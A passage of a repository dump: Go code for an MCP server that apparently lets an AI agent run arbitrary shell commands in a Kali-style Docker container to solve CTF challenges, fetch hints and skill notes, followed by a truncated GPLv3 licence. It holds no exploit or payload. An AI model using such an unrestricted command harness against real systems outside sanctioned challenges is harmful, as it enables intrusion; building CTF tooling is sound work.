ChallengeNote{ 168 | TimestampMs: time.Now().UnixMilli(), 169 | SessionID: strings.TrimSpace(req.GetSession().ID()), 170 | Note: "已尝试多轮,为了防止错误积累,这道题笔记已清空。读到这条笔记的请直接获取提示进行解题。", 171 | } 172 | return nil, ReadChallengeNoteOutput{Notes: []ChallengeNote{resetNote}}, nil 173 | } 174 | 175 | notes, err := s.readNotesJSONL(path) 176 | if err != nil { 177 | if errors.Is(err, os.ErrNotExist) { 178 | return nil, ReadChallengeNoteOutput{Notes: []ChallengeNote{}}, nil 179 | } 180 | return nil, ReadChallengeNoteOutput{}, err 181 | } 182 | return nil, ReadChallengeNoteOutput{Notes: notes}, nil 183 | } 184 | 185 | // kailTerminal executes a command inside a disposable Docker container and returns stdout/stderr/exit code 186 | func (s *McpServer) kailTerminal(ctx context.Context, req *mcp.CallToolRequest, in DockerRunInput) (*mcp.CallToolResult, DockerRunOutput, error) { 187 | // Basic validation 188 | if strings.TrimSpace(in.Command) == "" { 189 | return nil, DockerRunOutput{}, errors.New("command is required") 190 | } 191 | 192 | // Choose container name: persistent Kail container 193 | { 194 | container := strings.TrimSpace(s.options.DockerContainer) 195 | if container == "" { 196 | container = "xbow-kail" 197 | } 198 | if in.Background { 199 | callID := fmt.Sprintf("%d", time.Now().UnixNano()) 200 | started := time.Now() 201 | // initial running record 202 | initialOut := DockerRunOutput{ID: callID, Running: true} 203 | if err := s.persistDockerRecord(container, in.Command, initialOut, started, time.Time{}, "running", true); err != nil { 204 | return nil, DockerRunOutput{}, fmt.Errorf("persist initial record: %w", err) 205 | } 206 | go func() { 207 | // background timeout: 10 minutes 208 | timeout := 600 209 | args := []string{"exec", "-i", container, "sh", "-lc", in.Command} 210 | tctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)*time.Second) 211 | defer cancel() 212 | cmd := exec.CommandContext(tctx, "docker", args...) 213 | var stdoutBuf, stderrBuf bytes.Buffer 214 | cmd.Stdout = &stdoutBuf 215 | cmd.Stderr = &stderrBuf 216 | runStart := time.Now() 217 | runErr := cmd.Run() 218 | duration := time.Since(runStart) 219 | stdout := stdoutBuf.String() 220 | out := DockerRunOutput{ID: callID, Stdout: stdout, Stderr: stderrBuf.String(), DurationMs: duration.Milliseconds()} 221 | if tctx.Err() == context.DeadlineExceeded { 222 | out.TimedOut = true 223 | } 224 | if runErr != nil { 225 | var exitErr *exec.ExitError 226 | if errors.As(runErr, &exitErr) { 227 | out.ExitCode = exitErr.ExitCode() 228 | } else { 229 | out.ExitCode = -1 230 | } 231 | } else { 232 | out.ExitCode = 0 233 | } 234 | out.Running = false 235 | _ = s.persistDockerRecord(container, in.Command, out, started, runStart.Add(duration), "finished", true) 236 | }() 237 | return nil, initialOut, nil 238 | } 239 | // Foreground sync 240 | timeout := 120 241 | args := []string{"exec", "-i", container, "sh", "-lc", in.Command} 242 | tctx, cancel := context.WithTimeout(ctx, time.Duration(timeout)*time.Second) 243 | defer cancel() 244 | cmd := exec.CommandContext(tctx, "docker", args...) 245 | var stdoutBuf, stderrBuf bytes.Buffer 246 | cmd.Stdout = &stdoutBuf 247 | cmd.Stderr = &stderrBuf 248 | start := time.Now() 249 | runErr := cmd.Run() 250 | duration := time.Since(start) 251 | callID := fmt.Sprintf("%d", time.Now().UnixNano()) 252 | stdout := stdoutBuf.String() 253 | out := DockerRunOutput{Stdout: stdout, Stderr: stderrBuf.String(), DurationMs: duration.Milliseconds(), ID: callID} 254 | if tctx.Err() == context.DeadlineExceeded { 255 | out.TimedOut = true 256 | } 257 | if runErr != nil { 258 | var exitErr *exec.ExitError 259 | if errors.As(runErr, &exitErr) { 260 | out.ExitCode = exitErr.ExitCode() 261 | } else { 262 | out.ExitCode = -1 263 | } 264 | _ = s.persistDockerRecord(container, in.Command, out, start, start.Add(duration), "finished", false) 265 | return nil, out, nil 266 | } 267 | out.ExitCode = 0 268 | _ = s.persistDockerRecord(container, in.Command, out, start, start.Add(duration), "finished", false) 269 | return nil, out, nil 270 | } 271 | // Unreachable: all branches above return 272 | } 273 | 274 | // persistDockerRecord writes the execution record to a file named by session+callid 275 | func (s *McpServer) persistDockerRecord(container, command string, out DockerRunOutput, started time.Time, ended time.Time, status string, background bool) error { 276 | if err := os.MkdirAll(s.options.DockerExecLogDir, 0o755); err != nil { 277 | return err 278 | } 279 | 280 | filename := fmt.Sprintf("%s.json", out.ID) 281 | path := filepath.Join(s.options.DockerExecLogDir, filename) 282 | var endedMs int64 283 | if ended.IsZero() { 284 | endedMs = 0 285 | } else { 286 | endedMs = ended.UnixMilli() 287 | } 288 | rec := DockerRunRecord{ 289 | ID: out.ID, Container: container, Command: command, 290 | Status: status, Background: background, 291 | ExitCode: out.ExitCode, Stdout: out.Stdout, Stderr: out.Stderr, DurationMs: out.DurationMs, TimedOut: out.TimedOut, 292 | StartedAt: started.UnixMilli(), EndedAt: endedMs, 293 | } 294 | data, err := json.MarshalIndent(rec, "", " ") 295 | if err != nil { 296 | return err 297 | } 298 | return os.WriteFile(path, data, 0o644) 299 | } 300 | 301 | // kailGetHistory returns a previously stored command result by id, scoped to the current session 302 | func (s *McpServer) kailGetHistory(ctx context.Context, req *mcp.CallToolRequest, in DockerHistoryGetInput) (*mcp.CallToolResult, DockerHistoryGetOutput, error) { 303 | if strings.TrimSpace(in.ID) == "" { 304 | return nil, DockerHistoryGetOutput{}, errors.New("id is required") 305 | } 306 | filename := fmt.Sprintf("%s.json", in.ID) 307 | path := filepath.Join(s.options.DockerExecLogDir, filename) 308 | data, err := os.ReadFile(path) 309 | if err != nil { 310 | if errors.Is(err, os.ErrNotExist) { 311 | // Not found is not an error, it's a status. 312 | return nil, DockerHistoryGetOutput{ 313 | Record: DockerRunRecord{ 314 | ID: in.ID, 315 | Status: "not_found", 316 | }, 317 | }, nil 318 | } 319 | return nil, DockerHistoryGetOutput{}, fmt.Errorf("read history: %w", err) 320 | } 321 | var rec DockerRunRecord 322 | if err := json.Unmarshal(data, &rec); err != nil { 323 | return nil, DockerHistoryGetOutput{}, fmt.Errorf("decode history: %w", err) 324 | } 325 | return nil, DockerHistoryGetOutput{Record: rec}, nil 326 | } 327 | 328 | // getCTFSkill retrieves CTF skill documentation by category name 329 | func (s *McpServer) getCTFSkill(ctx context.Context, _ *mcp.CallToolRequest, in GetCTFSkillInput) (*mcp.CallToolResult, GetCTFSkillOutput, error) { 330 | category := strings.TrimSpace(strings.ToLower(in.Category)) 331 | if category == "" { 332 | return nil, GetCTFSkillOutput{}, errors.New("category 参数不能为空") 333 | } 334 | 335 | // 构建文件名(支持 .md 扩展名) 336 | filename := category + ".md" 337 | filePath := "ctf-skills/" + filename 338 | 339 | // 尝试从嵌入的文件系统读取文件 340 | content, err := fs.ReadFile(ctfSkillFS, filePath) 341 | if err != nil { 342 | // 文件不存在 343 | if errors.Is(err, fs.ErrNotExist) { 344 | return nil, GetCTFSkillOutput{ 345 | Category: category, 346 | Content: "", 347 | Found: false, 348 | }, nil 349 | } 350 | // 其他读取错误 351 | return nil, GetCTFSkillOutput{}, fmt.Errorf("读取技能文档失败: %w", err) 352 | } 353 | 354 | return nil, GetCTFSkillOutput{ 355 | Category: category, 356 | Content: string(content), 357 | Found: true, 358 | }, nil 359 | } 360 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL 